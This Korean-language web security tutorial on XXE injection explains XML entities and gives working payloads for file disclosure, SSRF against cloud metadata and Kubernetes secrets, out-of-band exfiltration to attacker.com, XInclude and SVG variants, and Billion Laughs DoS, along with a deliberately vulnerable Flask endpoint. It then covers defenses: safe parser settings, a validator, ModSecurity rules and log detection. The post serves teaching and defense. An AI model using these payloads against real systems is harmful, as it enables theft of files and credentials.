/보안 기법/XXE Injection — XML 외부 엔티티 주입
웹 취약점2026-05-03

XXE Injection — XML 외부 엔티티 주입

XML 외부 엔티티 주입(XXE Injection, XML External Entity Injection)은 XML 파서가 외부 엔티티 참조를 처리할 때 발생하는 취약점입니다. 공격자는 악의적으로 조작된 XML 문서를 서버에 전송하여 서버의 로컬 파일을 읽거나, SSRF(Server-Side Request Forgery)를 수행하거나, 서비스 거부(DoS)

#XXE#XML#SSRF#File Read#외부엔티티

XML 외부 엔티티 주입(XXE Injection)

기본 원리

XML 외부 엔티티 주입(XXE Injection, XML External Entity Injection)은 XML 파서가 외부 엔티티 참조를 처리할 때 발생하는 취약점입니다. 공격자는 악의적으로 조작된 XML 문서를 서버에 전송하여 서버의 로컬 파일을 읽거나, SSRF(Server-Side Request Forgery)를 수행하거나, 서비스 거부(DoS) 공격을 유발할 수 있습니다.

XML 엔티티(Entity)란?

XML에서 엔티티는 특정 데이터를 참조하기 위한 변수와 유사한 개념입니다.

<!-- 내부 엔티티 (Internal Entity) - 문서 내에서 정의 -->
<?xml version="1.0"?>
<!DOCTYPE note [
  <!ENTITY company "Acme Corporation">
]>
<note>
  <to>&company; 고객센터</to>
</note>
<!-- 출력: Acme Corporation 고객센터 -->

<!-- 외부 엔티티 (External Entity) - 외부 리소스 참조 -->
<?xml version="1.0"?>
<!DOCTYPE note [
  <!ENTITY externalData SYSTEM "file:///etc/passwd">
]>
<note>
  <content>&externalData;</content>
</note>
<!-- 파서가 /etc/passwd 내용을 엔티티로 로드 -->

XXE가 발생하는 조건

  1. 애플리케이션이 XML 입력을 처리함
  2. XML 파서에서 외부 엔티티 처리가 활성화됨 (많은 파서에서 기본 활성화)
  3. 공격자가 XML 구조를 제어할 수 있음

공격 유형

1. 기본 파일 읽기 (File Disclosure)

<!-- Linux 시스템 파일 읽기 -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ELEMENT foo ANY>
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<foo>&xxe;</foo>

<!-- Windows 시스템 파일 읽기 -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///c:/windows/win.ini">
]>
<foo>&xxe;</foo>

<!-- 애플리케이션 설정 파일 탈취 -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///var/www/html/config.php">
]>
<request>
  <username>&xxe;</username>
  <password>test</password>
</request>

2. SSRF (Server-Side Request Forgery)

<!-- 내부 네트워크 스캐닝 -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "http://192.168.1.1/admin">
]>
<foo>&xxe;</foo>

<!-- AWS EC2 메타데이터 서비스 접근 -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/">
]>
<foo>&xxe;</foo>

<!-- 내부 Kubernetes API 서버 접근 -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "https://kubernetes.default.svc/api/v1/namespaces/default/secrets">
]>
<foo>&xxe;</foo>

3. Blind XXE (응답에 직접 데이터가 표시되지 않는 경우)

<!-- Out-of-Band (OOB) 데이터 추출 -->
<!-- 외부 DTD 파일을 참조하여 데이터를 공격자 서버로 전송 -->

<!-- 공격자 서버의 malicious.dtd 파일 -->
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; exfiltrate SYSTEM 'http://attacker.com/?data=%file;'>">
%eval;
%exfiltrate;

<!-- 피해자 서버로 전송하는 페이로드 -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY % xxe SYSTEM "http://attacker.com/malicious.dtd">
  %xxe;
]>
<foo>trigger</foo>

4. 에러 기반 Blind XXE

<!-- 에러 메시지를 통해 파일 내용 추출 -->
<!-- malicious_error.dtd -->
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;

<!-- 파서가 "file:///nonexistent/root:x:0:0:root:/root:/bin/bash..." 
     형태의 경로를 시도하면서 에러 메시지에 파일 내용이 노출됨 -->

5. XInclude를 통한 XXE

<!-- XML 파서가 DTD를 처리하지 않아도 XInclude 사용 가능 -->
<foo xmlns:xi="http://www.w3.org/2001/XInclude">
  <xi:include parse="text" href="file:///etc/passwd"/>
</foo>

<!-- SVG 파일 업로드를 통한 XXE -->
<?xml version="1.0" standalone="yes"?>
<!DOCTYPE test [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" 
     xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1">
  <text font-size="16" x="0" y="16">&xxe;</text>
</svg>

6. DOCTYPE 기반 DoS (Billion Laughs)

<!-- 기하급수적 엔티티 확장으로 서버 메모리 고갈 -->
<?xml version="1.0"?>
<!DOCTYPE lolz [
  <!ENTITY lol "lol">
  <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
  <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
  <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
  <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
  <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
  <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
  <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
  <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>
<!-- lol9는 약 10억 개의 "lol" 문자열로 확장됨 -->

실습: 취약한 환경과 공격 실습

취약한 Python 서버 (Flask)

from flask import Flask, request, jsonify
from lxml import etree

app = Flask(__name__)

# 취약한 코드 - 외부 엔티티 허용
@app.route('/api/parse-xml', methods=['POST'])
def parse_xml():
    xml_data = request.data
    
    # 위험! 기본 파서 설정은 외부 엔티티를 허용함
    parser = etree.XMLParser()
    tree = etree.fromstring(xml_data, parser)
    
    username = tree.find('username').text
    return jsonify({'status': 'ok', 'user': username})

Burp Suite를 이용한 수동 테스트

POST /api/parse-xml HTTP/1.1
Host: victim.com
Content-Type: application/xml

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<request>
  <username>&xxe;</username>
  <password>test</password>
</request>

xxeserve를 이용한 OOB 탐지

# 공격자 서버에서 xxeserve 실행
# https://github.com/joernchen/xxeserve

# 또는 Python으로 간단한 수신 서버 구축
python3 -c "
import http.server
import socketserver
import urllib.parse

class Handler(http.server.BaseHTTPRequestHandler):
    def do_GET(self):
        print(f'[OOB 수신] URL: {self.path}')
        print(f'[OOB 수신] 데이터: {urllib.parse.unquote(self.path)}')
        self.send_response(200)
        self.end_headers()
        self.wfile.write(b'ok')
    
    def log_message(self, format, *args):
        pass  # 기본 로그 억제

with socketserver.TCPServer(('0.0.0.0', 80), Handler) as httpd:
    print('OOB 수신 서버 시작: port 80')
    httpd.serve_forever()
"

방어 방법

1. 언어별 외부 엔티티 비활성화

# Python - lxml
from lxml import etree

# 안전한 파서 설정
safe_parser = etree.XMLParser(
    resolve_entities=False,    # 외부 엔티티 비활성화
    no_network=True,           # 네트워크 접근 차단
    load_dtd=False,            # DTD 로드 비활성화
    forbid_dtd=True,           # DTD 완전 금지
    forbid_entities=True,      # 엔티티 완전 금지
    forbid_external=True       # 외부 참조 금지
)
tree = etree.fromstring(xml_data, safe_parser)

# Python - defusedxml (추천)
import defusedxml.ElementTree as ET

# defusedxml은 기본적으로 모든 위험한 XML 기능을 차단
tree = ET.fromstring(xml_data)
// Java - DocumentBuilderFactory
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();

// 외부 엔티티 비활성화
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
dbf.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false);
dbf.setXIncludeAware(false);
dbf.setExpandEntityReferences(false);

DocumentBuilder db = dbf.newDocumentBuilder();
Document doc = db.parse(inputStream);

// Java - SAXParserFactory
SAXParserFactory factory = SAXParserFactory.newInstance();
factory.setFeature("http://xml.org/sax/features/external-general-entities", false);
factory.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);

// Java - XMLInputFactory (StAX)
XMLInputFactory xmlInputFactory = XMLInputFactory.newInstance();
xmlInputFactory.setProperty(XMLInputFactory.SUPPORT_DTD, false);
xmlInputFactory.setProperty(XMLInputFactory.IS_SUPPORTING_EXTERNAL_ENTITIES, false);
<?php
// PHP - libxml 외부 엔티티 비활성화
libxml_disable_entity_loader(true); // PHP 8.0 이전

// PHP 8.0+ SimpleXML
$xml = simplexml_load_string(
    $xmlString,
    'SimpleXMLElement',
    LIBXML_NOENT | LIBXML_DTDLOAD // 이 옵션들은 위험
);

// 안전한 방법
$xml = simplexml_load_string(
    $xmlString,
    'SimpleXMLElement',
    0  // 외부 엔티티/DTD 로드 비활성화
);

2. 입력 검증 및 화이트리스트

import re

def validate_xml_safe(xml_string: str) -> bool:
    """XXE 관련 패턴이 없는지 검증"""
    dangerous_patterns = [
        r'<!DOCTYPE',
        r'<!ENTITY',
        r'SYSTEM\s+["\']',
        r'PUBLIC\s+["\']',
        r'file://',
        r'http://',
        r'https://',
        r'ftp://',
        r'&#x25;',  # % URL 인코딩
        r'%[a-zA-Z]',  # 파라미터 엔티티 참조
    ]
    
    xml_upper = xml_string.upper()
    for pattern in dangerous_patterns:
        if re.search(pattern, xml_string, re.IGNORECASE):
            raise ValueError(f"위험한 XML 패턴 탐지: {pattern}")
    
    return True

3. JSON API로 전환

# XML 대신 JSON API 사용 권장
from flask import Flask, request, jsonify

app = Flask(__name__)

@app.route('/api/user', methods=['POST'])
def create_user():
    # XML 대신 JSON 사용 (XXE 위험 없음)
    data = request.get_json()
    username = data.get('username')
    return jsonify({'status': 'ok', 'user': username})

탐지 방법

WAF 규칙 (ModSecurity)

# XXE 공격 탐지 및 차단
SecRule REQUEST_BODY "@rx <!DOCTYPE[^>]*>" \
    "id:2000,phase:2,deny,status:400,\
    msg:'XXE Attack - DOCTYPE declaration detected',\
    logdata:'%{MATCHED_VAR}'"

SecRule REQUEST_BODY "@rx <!ENTITY[^>]*SYSTEM[^>]*>" \
    "id:2001,phase:2,deny,status:400,\
    msg:'XXE Attack - External entity declaration detected'"

SecRule REQUEST_BODY "@rx file://|http://|https://" \
    "id:2002,phase:2,deny,status:400,\
    chain,\
    msg:'XXE Attack - External resource reference'"
    SecRule REQUEST_BODY "@rx <!ENTITY"

로그 기반 탐지

# Nginx/Apache 로그에서 XXE 시도 탐지
grep -E "DOCTYPE|ENTITY|SYSTEM|file://|&#x25;" /var/log/nginx/access.log | \
  awk '{print $1, $7, $NF}' | sort | uniq -c | sort -rn | head -20

# 실시간 모니터링
tail -f /var/log/nginx/access.log | \
  grep --line-buffered -E "DOCTYPE|ENTITY|SYSTEM" | \
  while read line; do
    echo "[$(date)] XXE 시도 탐지: $line"
    # 알림 전송
  done

Burp Suite를 이용한 자동 스캔

1. Burp Suite > Scanner 또는 Active Scan
2. XML을 처리하는 엔드포인트 식별
3. 우클릭 > Scan > Active Scan
4. "OS command injection" 및 "XXE" 항목 포함 확인
5. 결과에서 "External service interaction" 이슈 확인

수동 테스트 체크리스트:
□ Content-Type: application/xml 요청 식별
□ Content-Type: text/xml 요청 식별  
□ .xml, .xsd, .wsdl 파일 업로드 기능 식별
□ SVG 이미지 업로드 기능 식별
□ DOCX, XLSX, PPTX 파일 처리 기능 식별 (내부가 XML)

참고 도구 및 자원

도구/자원 종류 설명 URL
Burp Suite 탐지 도구 XML 처리 엔드포인트 자동 탐지 및 테스트 portswigger.net/burp
defusedxml 방어 라이브러리 Python 안전한 XML 파싱 라이브러리 pypi.org/project/defusedxml
OWASP XXE Cheat Sheet 참고 문서 언어별 XXE 방어 가이드 cheatsheetseries.owasp.org
XXEinjector 공격 도구 자동화된 XXE 탐지 및 활용 도구 github.com/enjoiz/XXEinjector
PortSwigger XXE Labs 실습 환경 다양한 XXE 시나리오 실습 랩 portswigger.net/web-security/xxe
OWASP XML Security Cheat Sheet 참고 문서 XML 전반적인 보안 가이드 cheatsheetseries.owasp.org

⚠️ 주의사항: XXE는 OWASP Top 10에 지속적으로 포함되는 심각한 취약점으로, 단순한 파일 읽기를 넘어 클라우드 환경에서 메타데이터 서비스(AWS IMDSv1, GCP 메타데이터 등)를 통해 자격증명을 탈취하고 클라우드 인프라 전체를 장악하는 데 활용될 수 있습니다. DOCX, XLSX, SVG 등 일반적으로 안전해 보이는 파일 형식도 내부적으로 XML을 포함하므로 파일 업로드 기능에서도 반드시 검토해야 합니다. 모든 테스트는 허가된 환경에서만 수행하십시오.

⚠️ 이 글의 내용은 교육 및 허가된 침투 테스트 목적으로만 사용해야 합니다. 무단으로 타인의 시스템에 적용하는 것은 법적 처벌을 받을 수 있습니다.